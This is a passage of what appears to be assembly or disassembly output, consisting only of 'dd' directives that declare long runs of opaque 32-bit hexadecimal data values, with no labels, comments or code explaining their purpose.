0EBFFD991h, 44E47030h dd 9205882Ah, 2A8F4F99h, 0A6EFD7D6h, 0D3F02A6Bh, 0ADA1AE3h dd 8A473AD7h, 7F6BAE0Ch, 1EB7512h, 56597A14h, 9435B246h dd 90D7C0BEh, 0BA79B3D6h, 721D7A5h, 9ECBD180h, 4E35EADAh dd 401447Ch, 142F3135h, 0AC0D9630h, 8C8F4833h, 0CA7F3A7Bh dd 0C7C34005h, 5B61048h, 6867C9A1h, 8D149640h, 126D14C3h dd 7E5BBA93h, 0B28A43E8h, 0AC27AC9h, 9C687CDAh, 912ADE7Ah dd 0E98A4633h, 0CDDFC0E7h, 0BE53E65Ch, 95CECA94h, 2EC15ED6h dd 17D71BBBh, 0F09099EEh, 51935408h, 0ADC8DF4Bh, 56CD39Fh dd 3AD02C4Ah, 7E6D80DFh, 57EC8D76h, 0C7DD8D0h, 94867439h dd 75E7DEA3h, 56DF11DEh, 77344BD0h, 5E7394BAh, 7D2E3BD8h dd 0A063E540h, 0E736B555h, 9E949C07h, 0AA3C4A43h, 4E439F2Ah dd 3DF5AA1h, 89B389B8h, 50C319B3h, 0E033DB6Ah, 58A6B638h dd 1D27DFF0h, 9D00BE3h, 5707894Fh, 0F5C18AFFh, 503087D9h dd 19872BEEh, 0ED8F8A0Ch, 0D009ABFDh, 4E10644Ch, 0E6C88E32h dd 0BC6B63FBh, 553CC39Fh, 41AC7C67h, 238CF2CDh, 23F362B8h dd 2AE3F562h, 295187E3h, 50E50A06h, 888E29B6h, 9590B962h dd 2F6A22FFh, 33CBD6E0h, 0BD515EF8h, 18820B82h, 2C28D818h dd 33F7574Dh, 12CB832h, 64C05375h, 270A1179h, 16BEA3D8h dd 42E92561h, 58B8ABDh, 0D86B5EF2h, 0DDDD35E6h, 691893ECh dd 0B49647ABh, 0E4A42F83h, 82E6774Ah, 9B0CC0ECh, 6CF672A2h dd 68654425h, 3E234199h, 0EC553478h, 0B1CB5911h, 1955129Fh dd 769CEE64h, 3321ADF6h, 861E43C7h, 64638058h, 30C671ABh dd 8BFC7B45h, 2EF7E675h, 0CD0CE4F1h, 9DE9A6A8h, 0F058D4E1h dd 80D1C2DDh, 521AB2CFh, 6A5AFE3Bh, 6C855105h, 0BFAF6047h dd 71767622h, 0E14AC5CDh, 0F19F9915h, 0AA4FB740h, 0B4454576h dd 8D0A871Ah, 0E0DF3EC2h, 0B480CF33h, 9EF37984h, 0E81F58F6h dd 13F3C528h, 0F826F723h, 66A9172Eh, 85EF813Dh, 0DBE77C8Bh dd 1EB03F9Ch, 803A3698h, 76B4DEF5h, 4F61FBF7h, 48606E92h dd 0C6CC63B0h, 2950AD23h, 0D4FA5DC6h, 6BBC9632h, 0F83DC4AEh dd 2412D0BDh, 5A361C74h, 0F391306Ah, 0A329CD24h, 21708EACh dd 3198B2D0h, 6491961Eh, 69510A1Ch, 0E232B2DEh, 396D0BF4h dd 0B5A19A71h, 312A15EFh, 69278C9Ah, 0CF42DFE0h, 0ED7936BDh dd 0D36035C4h, 0E4224FE8h, 0F5F0B965h, 15466E26h, 6DAFB37Ah dd 92B60892h, 0C3282FBBh, 0D660AD7Ah, 0A5E854DFh, 5A47003Ah dd 6D3ABA46h, 9EAF136Ch, 0EB902D21h, 0A4BF9D96h, 49EF4AD7h dd 0A2E747BEh, 0C3DB8AB3h, 36DB916Ah, 0C7EF3F2Dh, 344F7306h dd 0B3D80E06h, 0E157411Ah, 785A38BFh, 707E2EC5h, 85DEE9F3h dd 95257B75h, 749A2C70h, 0EB533B69h, 0B5642056h, 33297B26h dd 0C44F06E0h, 24069777h, 0A265DCC3h, 45715BFDh, 0B4F83F2Ah dd 9A817634h, 840FEB74h, 187E1FDBh, 6F340C06h, 0F7323159h dd 2BE8275Bh, 0BF5473CAh dd 5608EA5Ah, 3D26763Eh, 6ED5ECCh, 21600700h, 6B464D42h dd 71DA6F27h, 0BC1A0D91h, 0B0C6E094h, 86F7B7E5h, 0EDFFE931h dd 1C7CB744h, 9AFA77B8h, 0E89E2015h, 431A3DECh, 0E6F718DFh dd 0C1817945h, 0E69BCC34h, 7F590725h, 3E90F400h, 75269BB4h dd 0BAE5467Ah, 0F2404EE1h, 0D4AA6C6Ah, 0D21414C1h, 0B7ED4CC0h dd 0D601E201h, 0C2D1CDCh, 0BA4F1005h, 5FA8FEEDh, 95D12531h dd 7552CC4Ah, 0FB6310E0h, 0F56E766h, 87EAE5FEh, 0BEAAA07Eh dd 0F0603A0Fh, 8428CB31h, 0C249B834h, 0F1734BF2h, 0A39F61B3h dd 6C095AF1h, 0C9D76D75h, 8BDC67E1h, 0BAC45830h, 5EA0C1CEh dd 6FDE83D2h, 0ED108CB7h, 35A6C18Fh, 0D528350Eh, 9AF7D726h dd 78A38F75h, 0CE9BD702h, 0ADCDE548h, 0E11EA9FDh, 1FA630Dh dd 39E31230h, 0D07396ECh, 0DF91EACBh, 0BEBD5335h, 0FDF329FCh dd 0F3855100h, 0C5B09F26h, 13CF81F7h, 80FFB475h, 0B51358C2h dd 6478B8AFh, 46F34EE8h, 4E378EBEh, 2EB4DBD1h, 344DBA5Eh dd 49784CAFh, 0D7CC759Fh, 0C2EBD263h, 0AE0946BBh, 1BC279F6h dd 9A709C60h, 0A0C715Ch, 0FC2F735Dh, 0A719C09Eh, 852B025Ch dd 0A4A370D9h, 19A96916h, 7A850A97h, 1607928Ch, 342427B8h dd 0A5377EF4h, 0AAA5F522h, 82E14AAAh, 7464A992h, 709B08F4h dd 4F7CB7EEh, 0CA0D24AFh, 56295C93h, 5308B1F4h, 0E6F7CF98h dd 3E2FCCE5h, 2969D0ABh, 0B6AF739Ah, 0BC6A4FF9h, 0C0831E44h dd 0BD1C409Eh, 0A1B03418h, 3E7B8C3Ah, 0FFDDF7AFh, 0CFA5FC93h dd 46A33D7Dh, 0BB8D83E3h, 2720D7E2h, 99A9F0C4h, 0C3368100h dd 303FE8E4h, 8D26A3F6h, 385ABCF6h, 55DC7577h, 304A40A8h dd 2250AC14h, 61F0878Eh, 41AA387h, 0D3706D6Ch, 9FFF50F7h dd 0F709997Ah, 0F3049619h, 0DB85A02Bh, 0DFB3AC1Ch, 830FA859h dd 54C85804h, 6FA01A12h, 0CEC9ADC8h, 1E8823F4h, 6553388Ah dd 1B370EEFh, 7F8F1D01h, 5F7B1EF7h, 3BEBA0CAh, 0F15FCED1h dd 0C49551A5h, 0D99B7406h, 689AE686h, 0E6E7294Ch, 90D43519h dd 0D980EF73h, 0B87959CAh, 74C33989h, 8B673610h, 9278E989h dd 10914DE4h, 272332C0h, 0BD055197h, 0DA34EB60h, 58AEAAE7h dd 6EE9BCD3h, 0F07F5D71h, 65589A5Dh, 74E633D7h, 212819A2h dd 287B04E0h, 17C1B936h, 0B95672BCh, 0C4639BB6h, 4230B91Ch dd 537E20CCh, 78E9F07Ch, 2D0BDFD4h, 0E4064B3Ch, 0EDC8E24Fh dd 0C5FA7CF0h, 0F836A52h, 88F3C8BEh, 4AB50910h, 738E9FA4h dd 75A36C13h, 0A205E410h, 3DAC34D9h, 0A79F41Eh, 0B5FB0BAh dd 2566A1F7h, 4588712Eh, 45CDD66Bh, 815AB6DBh, 77A3750h dd 9B8AB27Bh, 4DF310E2h, 8C53FF11h, 0BCC5E894h, 3ED92070h dd 4F2A42BDh, 33CE6952h, 96733AEEh, 4636725Ah, 0F9192B80h dd 0CEA1FCD0h, 2886E89Ah, 2351737Ah, 75F32619h, 3E6F8E26h dd 500FF91Eh, 0CA3A4990h, 0D3E1CA60h, 0BAF3064h, 0B454693h dd 57F722D9h, 83D66242h, 0FCB70B75h, 38D381Fh, 45C1362Dh dd 10BE5D9Ch, 0FFB1D60Bh, 32140F38h, 60D2C82Eh, 446DB0A9h dd 58F08970h, 76422E67h, 0ED4059D5h, 0FB92E054h, 5DE4B237h dd 0DDA2CEA4h, 0B47BEEA9h, 488B123Bh, 47CA7C80h, 874CE63Bh dd 976F6EDDh, 7AC58736h, 0FD81C48Bh, 91EB4343h, 0CF700AC2h dd 4EE06E5Eh, 0D081BDADh, 875C1EE6h, 101E3983h, 2CCBFE8h dd 664E73DFh, 2A2C44AAh, 60159749h, 2CBCC07Ah, 3B46155Bh dd 3E2CBBBFh, 39D20756h, 95028F36h, 0B7A2775Dh, 62F2DF05h dd 2809EC9Bh, 0CC9861EFh, 0C264B4A8h, 0F5E77409h, 0F1E1CC6Eh dd 0EDD828A5h, 0FACC3875h, 6D246829h, 7BEDAB1Ch, 0F17CDA57h dd 0D6AC014Bh, 7D432242h, 54B4781Eh, 0A20D90DBh, 0ECFBD41h dd 0EB4A4B2h, 0CB41CFF4h, 8BB2E92Ah, 0ECF9CBE4h, 92B60223h dd 0CCEC1B15h, 117A2A3Bh, 0F0BEAEF6h, 94197E2Dh, 0E0C835CCh dd 280F67CDh, 120923C7h, 53B7EB26h, 0BFEB0554h, 41DDB1D5h dd 9FD5D5F2h, 0C66E95h, 0E8C0EAC5h, 729DA69h, 0BAA8CA0Dh dd 0BFA91887h, 91EC591Ah, 0A4B5F778h, 0F06FA40Dh, 92A80C73h dd 0EB42015Ah, 74A189Fh, 0B61EAE40h, 32FBFE44h, 5B154FC8h dd 40BEE583h, 12CF4AAEh, 0A1E440B2h, 67B4D1A7h, 14407FF4h dd 2A223E88h, 0F4EBAB4Ch, 8323D9B2h, 23B297F8h, 0D9D046ADh dd 59752A45h, 3B7BB993h, 0F3F38461h, 222ADFFBh, 1AB7B1CDh dd 66E7804Fh, 83BA805h, 6233DCEAh, 0AED9111Bh, 3C803B8Bh dd 7D3FAA8Eh, 42D79687h, 0C7B77EEEh, 0A7B5FA65h, 0F1046C98h dd 0CEB2F22Dh, 0CD699675h, 51EBCCABh, 823B76E8h, 99B5971Bh dd 8CFF76B7h, 55FB0006h, 898B819Ah, 51E5B4C7h, 0E0823FAAh dd 8F6A13Ah, 3659EC42h, 494F6370h, 2240824Fh, 0B26412E7h dd 0CE6F4891h, 7125789Ch, 4FFB8544h, 2592B681h, 0E405C82Eh dd 0DD38A2ECh, 31BAEDDAh, 0EB58D366h, 0DBE0DEABh, 37BE5432h dd 6B8291A2h, 0A75C6308h, 7561937Ah, 97159356h, 7277077Dh dd 0EE8F369Ch, 0BD744540h, 0CCEA0DEh, 45A33ABCh, 6B6168Bh dd 9D21F6B9h, 0ACCC8505h, 59DA3C17h, 61D2DDEAh, 83301F38h dd 35DF2052h, 0C7C13858h, 0E4B012EBh, 2919AEB2h, 4B801AD2h dd 95F6AF93h, 12DD2C84h, 5EA0DCCCh, 0A10F8EFFh, 58AE4E6Fh dd 0BC8435Eh, 61450EA0h, 7867A11h, 10F9C46Dh, 72DD7A99h dd 5E0C1EAEh, 859AEDF6h, 53F8A11Eh, 0BE732F37h, 70E25FC6h dd 610951F9h, 8E05CB3Fh, 4C6D034Ah, 0BE2DC4E5h, 88A8CB33h dd 0C66F2889h, 0F8B5D0EAh, 72B3F246h, 142D9842h, 0E24F1658h dd 5B87000Dh, 0EB1A25h, 7CDB872Eh, 0A3A9BEECh, 0A2FF5557h dd 0F46B48B5h, 574D4A97h, 0DA7D2400h, 0D3D73F19h, 0CC80A1A4h dd 69F9977Ah, 0B2F507C0h, 1CDE96E3h, 0E6203006h, 0B81D2D57h dd 0F6D4CE49h, 8380E071h, 0F826D5B6h, 66D76CAEh, 0F65CF0CBh dd 6C966580h, 87601F38h, 7CC768CDh, 60164584h, 0F6B16EA7h dd 13B3E057h, 518E7E9Eh, 7B2676E7h, 89469663h, 35C699D7h dd 0DB596100h, 73A22B45h, 0B5215A0Ch, 1512DA55h, 45730FC8h dd 1DF66410h, 1C0BF9F0h, 0B9A09EEBh, 0F4FBCB69h, 3313F8F8h dd 0D9185FDBh, 0CECC3C8h, 0FC1877ABh, 1758AC87h, 0A1F09174h dd 22B4C3FCh, 266B184h, 0FD561419h, 0B737BEFCh, 0F9F95827h dd 24A81E19h, 0CC39F738h, 43CE170Ah, 0F11259B1h, 5DD2DB00h dd 0D3B49BEh, 44309A82h, 8292260Ah, 2DD69676h, 6AEF1E9Dh dd 0A59538FAh, 12625671h, 2563D5CBh, 6BC9CE7Ch, 0AC647029h dd 0C94E5409h, 9DDA84DAh, 0B4184ADh, 0FFD1CB07h, 7D40291Fh dd 29F09959h, 4D48B0C1h, 0BCFA710Ah, 0C9F569B1h, 20CF6DAAh dd 552DE8A8h, 7CCBA182h, 9C1DE909h, 4CD13F5Fh, 1E2246C0h dd 0D198A93h, 0C2A0D76Bh, 0E700B331h, 0D9C3D077h, 9772B31Eh dd 88A2BBCh, 9006E40Ah, 0B9BAFF7Ch, 0F4D20995h, 9C14C164h dd 7F094B97h, 54735969h, 49257E03h, 583BB50Ah, 0D41F820Eh dd 86AF25C3h, 7F3EFE93h, 8E73696Ah, 0A0BCA64Ah, 39E9C5Ah dd 3CAFB555h, 0FC2C4614h, 0BA150D08h, 7AA9B6DBh, 7D61D5B9h dd 211D11D6h, 0AD0489C8h, 9B606BEFh, 21D7E0D6h, 7C91BB7Ah dd 79809F03h, 0A9D340A0h, 7F496264h, 0EBF1786Ch, 0E76D37Eh dd 3DFE1575h, 0B7769C12h, 0F2E21BB6h, 1FF96A19h, 0DACB1C30h dd 71DF80EEh, 0CC2283AEh, 0A6CA861Ch, 16FE5451h, 44C5D650h dd 0B632E9CAh, 4874F8D5h, 0C3D69350h, 0FD9238D4h, 0B0E7588Eh dd 0EE5EA224h, 0ED4E4B23h dd 0D440AA8Ch, 83C0D7A3h, 4AC29AECh, 518E4C83h, 72BC5482h dd 5C4D65D1h, 888824D9h, 0AB6819Fh, 95A7C419h, 4CCC686Ah dd 0F9AE1873h, 36965382h, 60EE3667h, 0BCCAE24Bh, 0C7B304AEh dd 7DBD404Dh, 5733AE4Dh, 0DE4B2D62h, 64167004h, 7C40C586h dd 2DAF9872h, 31D85EEDh, 0AAFE8091h, 0AE861175h, 0EA2C7242h dd 7D40A80h, 0F34EEB33h, 0FA5193A9h, 0E70C90BBh, 0E3DA4583h dd 84CD9E58h, 0C949C0C7h, 93B7654Dh, 2F4BA587h, 79D8E53Dh dd 2AA45DD4h, 6FD12D7Eh, 0D40D63EDh, 0D8D27D55h, 0F56986F8h dd 99004609h, 1BB2155Bh, 0C5F8AB0Bh, 0AFA12D76h, 660A035Eh dd 94382E5Bh, 0C9432DFFh, 5AF8F218h, 89763E09h, 5BEB95F3h dd 8FD896EBh, 0C9A92D79h, 0F50CD26Fh, 20C9E0C8h, 3C2CBD7Fh dd 3124E59Ah, 7CDFEF0Eh, 6A992054h, 0B9C4157Bh, 891897BBh dd 650728D7h, 0EA03CC12h, 0D9508D5Ah, 71F9C692h, 63E57A69h dd 35B951CFh, 57182317h, 8F38F468h, 0CF652CBh, 16DBE835h dd 73CC6949h, 41ED570Ah, 3FF41E07h, 2FB3F490h, 0C2156873h dd 72569B3Dh, 0E0EBF2EEh, 0F0737140h, 1B9B0148h, 0B8788D90h dd 61D8FA3Bh, 937AB75Ah, 985C9741h, 0F3F63982h, 81D9E659h dd 0D87B4BEAh, 538DABAEh, 73F0EE1h, 55861CEh, 0D3711563h dd 7F98AE3Ah, 3275C0E6h, 0DD78B6CBh, 0DBF4202Bh, 71D2BAF3h dd 1D3917Ah, 5D6F8FB7h, 0A6618C51h, 0AD8F7B00h, 2AD65B9Ch dd 0E3B58216h, 55651C9Fh, 2DA993Fh, 18219153h, 0D610C150h dd 97D06452h, 47A88E72h, 0C3E6873Dh, 25428E1Bh, 4540AFDDh dd 0BF18E428h, 36258468h, 98C8D336h, 2860A8BEh, 98EED8EBh dd 6190C33Bh, 0B38ED2DDh, 0A65837B0h, 284907E8h, 296140C9h dd 0B7CF4E62h, 2BE10494h, 2F876FDAh, 372B8A4Eh, 8D68535h dd 0DE5D550Dh, 6C523132h, 71D553BAh, 0C91190C0h, 130F3063h dd 92BC41CFh, 0B678F43Dh, 1495075Fh, 4EEB14F6h, 4F7E2308h dd 9158191h, 1889D4B8h, 0E311D3FEh, 7EF4D7ADh, 86532690h dd 1B49ABC9h, 5CAF125Ch, 0BD3BBBFFh, 0B81EF146h, 318AA202h dd 3A7A211Eh, 32DC23C1h, 4E3E3935h, 490B0643h, 0FBAEBA80h dd 70DCE397h, 0C489B3E6h, 0D6849274h, 33B7932Fh, 69B6AA4Fh dd 0F1B3E938h, 0D2504D64h, 0FD69666Ch, 0D5472F1Fh, 8015E15h dd 3F395CDCh, 6CE66014h, 0A7EE1B62h, 4FB1F2AAh, 4796CFFCh dd 0B1F62631h, 0F0D585DCh, 2B91E930h, 5D420D31h, 9069AC43h dd 88356A9Ah, 0EFE60031h, 0DCD32354h, 9C912219h, 833DEDBDh dd 0CD17793Fh, 5684C298h, 17D28493h, 57A3B18Bh, 3D095615h dd 65E82FEFh, 0C0B09523h, 8CCDB78Bh, 0AAAF8E6h, 23EF3D7Fh dd 503E0227h, 0DCC2FEDEh, 0FAF42D12h, 9AF02784h, 1E43098h dd 7D4696Dh, 315EB0C4h, 0DD84C274h, 7283BD63h, 0EFCA334Eh dd 0B5B0EC26h, 106FE2C6h, 968A419Ch, 34C47507h, 25B08CD2h dd 0FDBCF737h, 3157F3D4h, 5FF0A7A2h, 0FCB82CD3h, 557331B7h dd 0B54EDF5Eh, 0E8BF4F86h, 0E1B90254h, 9B2B8511h, 0C1729328h dd 7593160h, 522228Dh, 0EE585825h, 64571442h, 8DE96128h dd 685C3AF0h, 758BAF7Dh, 9D537ECFh, 0EF62A554h, 0D2C74830h dd 0A1BE11AFh, 0F725835h, 83E219DBh, 0CEAD1723h, 0D4342AA9h dd 58E30105h, 2C1BCF08h, 0DE403483h, 0D9A79B54h, 745A50DFh dd 0A287E80Dh, 8211536Bh, 52F0AA64h, 517D671Eh, 3D71706Ah dd 0B21B10D3h, 6A730CF2h, 0C8F61DEAh, 7211F4C8h, 12AC03D0h dd 71B4FBBBh, 0D58C822Bh, 0EA96840Ah, 9F246226h, 0B3680DF7h dd 0E002D978h, 770D6BF6h, 0F09274Dh, 0B37DC892h, 86BE90C8h dd 0A7418BE5h, 0DBCA5585h, 27F785BBh, 0A24BED0Ch, 0F9784B20h dd 81146295h, 50C67A1Dh, 783309B4h, 38A663C4h, 0F157408Fh dd 0C68938D8h, 45E8A75Dh, 0E2949CD0h, 25F42949h, 61F93371h dd 0D22EE7AFh, 61C0D116h, 0DB4F4C8Fh, 7059EAC0h, 1BC55CB1h dd 221E6A28h, 75B6A9BAh, 3A1E16D9h, 0CC0BD55Ah, 34548B50h dd 0BDDC86DFh, 69860731h, 58FC922Dh, 596974F8h, 2CC4D758h dd 0C585A9EAh, 196DB99Bh, 0CC8CCF75h, 0DE118A0Ah, 0EFA1004Ch dd 0D58AB815h, 1A1C0E20h, 0D807B7EEh, 0FDA5F911h, 0ED067333h dd 3AFBA2E4h, 0F2A562B8h, 62FF8A7Ch, 0DBBD05B3h, 0F90F22B2h dd 0FC73D2B7h, 0F175D7Ah, 630DB1F5h, 9E16645Ch, 7B5807ADh dd 0DEEE92Ch, 1702F473h, 95AC9DDh, 0FD6EA853h, 0B13B5A06h dd 833A9F37h, 0BFE8F876h, 6E2F4806h, 0D82AAE7Bh, 5625F663h dd 842E1568h, 32CDE50Ch, 9250D448h, 5D5405AFh, 0E0D5656Ch dd 94E048CEh, 568AA13Ch, 760323C7h, 10FA4974h, 0B62CC6DAh dd 0C37E5746h, 0AFF30817h, 0BC5AE748h, 0CB2900AAh, 28719A62h dd 0AA0C8833h, 0D5C62B0Fh, 8279C599h, 0AC111B42h, 594DBE68h dd 7788B9E8h, 0D081FC87h, 0AB5F37E3h, 163C974h, 1ED0E925h dd 0DEC7AEA9h, 0F76A2BF7h, 10774CB8h, 752E5A20h, 968CC56Dh dd 0DFA33E41h, 53FDB322h, 8FB5A3B3h, 1567261Ch, 60E349C0h dd 33536BD8h, 4602FF1h, 0FC8088F7h, 42EE4240h, 0CC0153C0h dd 32BDE12Bh, 0BBB796F9h, 0E07012D9h, 0AA7D9444h, 5EBBD9FFh dd 0A30ACC01h, 0A894AAE0h, 526C681Fh, 0FC2BA2D9h, 2902BC04h dd 0B49BFA4Fh, 18FE7E3Eh, 0E0F131ABh, 0B4E86494h, 7CFBB88Bh dd 5940B9D1h, 8744B78Fh, 3BA19C7Eh, 475D764Bh, 7F79086Fh dd 0E64E012Ch, 2CF94F81h, 2AFA6363h, 0FA321CE6h, 6FFB4E54h dd 7743982h, 0A6AF6CC7h, 93C54D9Ch, 46C4C6D8h, 0CE1373Ch dd 23F82162h, 6E778EE0h, 0D9EC4265h, 99B64628h, 60CEDCF1h dd 0D4A3B64Eh, 0F0ABDBB4h, 0BA606489h, 384CC2C2h, 0F7FE02Ah dd 0DC05B34h, 132444F3h, 6DC6B7F9h, 0DC144377h, 0FCF2039Ah dd 0D3A5574Ch, 79EC791Fh, 0C18A3047h, 9F98A192h, 0E8224930h dd 526DAE23h, 0E24620D0h, 0BCAA285Dh, 32F073F3h, 5E0B2579h dd 1BBE22B2h, 466E10F9h, 0ED0690F8h, 0F4A22949h, 0F535F87Dh dd 6720E07Bh, 439E951h, 701A4FD8h, 8A508EC8h, 0C85D7F4Eh dd 2FFBCFACh, 94593476h, 86058315h, 0FF73A0C9h, 77C7D226h dd 13D91AF4h, 0BC665E0Ah, 0B3195CC2h, 0E773D28Fh, 0D23CA393h dd 51C1A61Bh, 6A0BABD6h, 4DA89EB5h, 0B9CB0EB7h, 0E90920CEh dd 22E44E72h, 0C825D303h, 0C6813CAEh, 0FC388BDCh, 2ADB6D2Dh dd 246AF615h, 72A942Dh, 0D2A5AC05h, 0F1697E98h, 62A6D95Ch dd 14A26D7h, 76666AA3h, 0AA0E2AEDh, 97666122h, 8B2FF232h dd 6892B424h, 0CA1BF9A5h, 12D0AD31h, 0C18FE76h, 2D5E8CDh dd 2419D2E2h, 2CE2CE31h, 5BE6FE66h, 5BF7FC52h, 86475B41h dd 51E67248h, 4A11129Ah, 6188590h, 0E038504Ah, 0AF8246A4h dd 0AD206F52h, 0E1A9C757h, 9F71E9ADh, 11ED4CE3h, 0BB039F99h dd 0F4626D6Bh, 5472DFB5h, 6A8F028h, 86A280F3h, 0AF6A3BE1h dd 0FF79D92Ch, 4C72FE35h, 0C60DD577h, 135257BAh, 56CE747Eh dd 0E4FDBCA3h, 5E528C6Ah, 0F2E684F8h, 0BABC2BDh, 5FB8EE53h dd 25558BFDh, 0BC84C739h, 3F728A5Bh, 0D081162Dh, 343FE01Ch dd 0EE2E5529h, 3151BABAh, 1B289F0Ah, 0EE1782C8h, 0C16DA77h dd 69767F02h, 4213D668h, 0B2BB524Ch, 0ECEAC049h, 0A6D6F583h dd 475EA16Eh, 20AA5ADFh, 0D472C64Bh, 18DD640h, 0F39A2697h dd 5DE17CBFh, 0F10F9829h, 0CA2F6890h, 74BCACD2h, 28C3A01Ah dd 0C6090B91h, 0C5AC0BBFh, 5F564F76h, 1D9217F3h, 0AA53C22Ah dd 82E0820Eh, 2BBCED83h dd 22BA47E1h, 0F4B87CCFh, 39DDAA76h, 0D0EA6679h, 431B2E09h dd 2CEF027Ah, 0CAEAE71Bh, 2A980F53h, 2B0DCCCDh, 61DE0083h dd 0DE9E46A5h, 2EE71E69h, 26FA171Eh, 764DA385h, 8B4F8E40h dd 89CD7CE3h, 8C3C8D59h, 21C2C2AEh, 0C43CC923h, 0F5E9003Dh dd 3615F3F8h, 0C8C49C3Dh, 5DD5C778h, 0F7576337h, 0B017744Bh dd 224409B4h, 0E81AAEC1h, 0D65F7C8Eh, 0E960767Dh, 4C0F9EEDh dd 3019F866h, 0DAE9B53Ch, 98DE3340h, 0BA1D54Fh, 0E0ACB78Bh dd 0D6234CC4h, 0CB9E47BAh, 94863AB1h, 0C7261F1Fh, 7E87BB28h dd 0D0A96C45h, 67D0A8F8h, 9F0390B3h, 0D679D0DAh, 0A32EF113h dd 45CD6F12h, 1332E6F2h, 0F715AFh, 0E9D9DA96h, 0C4A8E0E2h dd 57170FAAh, 0EDDE90DCh, 7150D863h, 6C42C9CDh, 14867F94h dd 3447954Bh, 75FF92Ch, 141987F2h, 2D116B95h, 94965463h dd 0F43D7B4h, 693EB1A0h, 1F83E3EAh, 0B1F2CDAEh, 845681DCh dd 5B5A2A0h, 0C564AB4Bh, 0C4B53B2Ch, 198A3642h, 15F77309h dd 0CEF4B04Fh, 588EAA95h, 0F6AD269Ch, 38529382h, 0AC1A96CBh dd 161ED94h, 0D3F985A7h, 2E200C12h, 368CDB95h, 0F7A7446Eh dd 0AE8D5F73h, 4508AE25h, 5244DE0Fh, 785954DAh, 0B2B6965Fh dd 707D88Dh, 144D6E0h, 36928572h, 43CD3DA6h, 2257B91Fh dd 15CDF94Dh, 0A6B4C658h, 783676DCh, 0FAF01D1Dh, 9531DEEEh dd 3C2A1FB0h, 7773BDA4h, 0DEB4A239h, 0A9A94D71h, 83935324h dd 1FC9931Fh, 178412EEh, 0F7D7AFEBh, 0A75976B2h, 0E7020125h dd 1161A5C6h, 0E55CBFE8h, 5FDA81C0h, 0E562BC18h, 172F2C76h dd 6C04EDBFh, 3CDC537Ch, 0CF7F188Fh, 1EC1E519h, 0BCAC3E31h dd 0B0037EC4h, 77B87B8Ah, 956713EBh, 0A5A9193Bh, 314FB4F3h dd 4D754AE5h, 3C66FE77h, 8D1F7112h, 34E9DA00h, 38FE7F47h dd 96C805D8h, 0C80E3FAEh, 671DBD24h, 0A0E9A439h, 0F5EAFE90h dd 0F74C5286h, 537E9EC5h, 5C77878Eh, 0C6000E9Bh, 3F227EDBh dd 0E198BD43h, 0AB86ED4Ah, 0CC83808h, 0F5A0BD43h, 114EAF81h dd 829BA8CFh, 7F6B3DECh, 0B05F932Bh, 88C8D3Dh, 0D8243F8Dh dd 0F2CC2468h, 0A6B31E8Ah, 5A53987Bh, 0DE660789h, 95B4E21Ah dd 115BEC8Bh, 0EE38DEF1h, 2BAFBD6h, 8345626Bh, 211BF8E1h dd 0ED084517h, 6EA43230h, 7A5C5BFCh, 0F01F8833h, 0FEAE8C72h dd 17B448DBh, 14D80F28h, 5F15A050h, 82CAA7DEh, 57DBF19Ah dd 0DB0AB900h, 80B992E0h, 0D991FB73h, 0C8DC7B4Bh, 0BE9F8930h dd 11A9276Fh, 0D6700085h, 8C9B7902h, 3A1861B5h, 695DF4A7h dd 0F2C76BBEh, 20129EB1h, 5AC6A401h, 4F2C26E2h, 0A31AD39Ch dd 0A709AFF2h, 41DA72E1h, 9497B25Ch, 8A34E07h, 0E5A21737h dd 0F09027FEh, 838C0012h, 3128AA1Fh, 0A407A869h, 21D72606h dd 6FC8AD95h, 8452972Eh, 0E95F17ECh, 95E854C1h, 95D63077h dd 82E83E1Ch, 4C4989h, 305973Ah, 0C46B4548h, 91F20761h dd 6D115F11h, 66A6B527h, 0AA173665h, 0DA94CCDCh, 4A7EE96Ah dd 0EE038660h, 846A5663h, 0DD788F56h, 0EAB6EDAEh, 0F15D65A0h dd 0FD3B5563h, 4AC1E6EAh, 0AB281608h, 0DF227EF9h, 7AA35029h dd 0CF8E85FFh, 3FB7BBB7h, 1B365E39h, 0E657C445h, 5FB9F634h dd 0C202B3B6h, 0F254705Eh, 0FA0D6D55h, 6FC3BB47h, 77C01C5Eh dd 0FD5DB4E2h, 2FDA00Eh, 87C9454Fh, 5C03974Dh, 9DB221C8h dd 955F5828h, 0AB36E767h, 0E1326F5Ch, 71D2514Bh, 0A759F3ABh dd 9B506F3h, 4FD6D934h, 0DF9BF442h, 0A0841FCCh, 0CE5F935Fh dd 0B6509ADAh, 91DB83E3h, 0FA4A2CF2h, 9BADEC7Eh, 7AC98093h dd 0FB859E9Fh, 132A3774h, 3C4E156Dh, 9E0F7774h, 5F34DD03h dd 0EB5E6278h, 0B5D93E84h, 0D0B2490h, 0DDF42C0Ch, 1E64A07h dd 76D27D4Eh, 0A4AC888Fh, 0C7F43F21h, 0DE3A72F6h, 99CB6AF3h dd 1E108F17h, 0BF3E0CE3h, 0B34AFA60h, 0A0E875B2h, 0FBDFE05Dh dd 59613DB7h, 64F8A284h, 0EA97EA7Ch, 94AC7F8h, 70CA07EFh dd 0A47089A1h, 0C85CF51h, 3DC4E348h, 16273849h, 0E7D32C81h dd 54BD7928h, 0C0C4AB89h, 0DD83BBB1h, 0D0F2A89Ch, 0A2AC362Ch dd 481E5706h, 0BE74F488h, 0AB225B2Bh, 99ADFA8Bh, 8288D9A5h dd 0D8C22E32h, 0AE8C40F6h, 0A6693CFDh, 9F80A69Bh, 15117819h dd 388B0127h, 0B78A536Fh, 0DBA1D98Eh, 2498CEEBh, 0D1D3CDE2h dd 0CA25225h, 8325E5A7h, 0A916B309h, 0A86BA5CCh, 3205D429h dd 935EFD6Fh, 67A6A592h, 4B42EA98h, 512F3C80h, 73A7DEBh dd 792958Dh, 8F20C3AEh, 0AB5792D2h, 0AC70E932h, 7F9838B3h dd 0F874C004h, 0EAEB7AB2h, 0B36CFAFDh, 0A226EFA4h, 0CB289D16h dd 32BD1868h, 0C5AA6A64h, 0BC066408h, 65026196h, 0AC4363A1h dd 5CF60632h, 4DE6FAA1h, 9842A22Dh, 9CEB3BE5h, 13A23E22h dd 0B821BAD2h, 0FA238678h, 0D14C37BBh, 3D643EC4h, 7D9A1965h dd 53D44F47h, 0DEC32973h, 0C8AA3EB7h, 55FD1D64h, 6594FE80h dd 4251CD6h, 92A850C2h, 1049AE92h, 9839C826h, 9DC81AD6h dd 0FC6CA087h, 9686435Dh, 608066A7h, 330E366h, 0D8893635h dd 10F45831h, 0B94EBDE1h, 2B4B9D30h, 7552332Dh, 532E31FAh dd 52FCCEBCh, 0C8119720h, 796AE8F4h, 0A5E8EB3Bh, 0F1A01E23h dd 9A89B3AAh, 0C2537E4Bh, 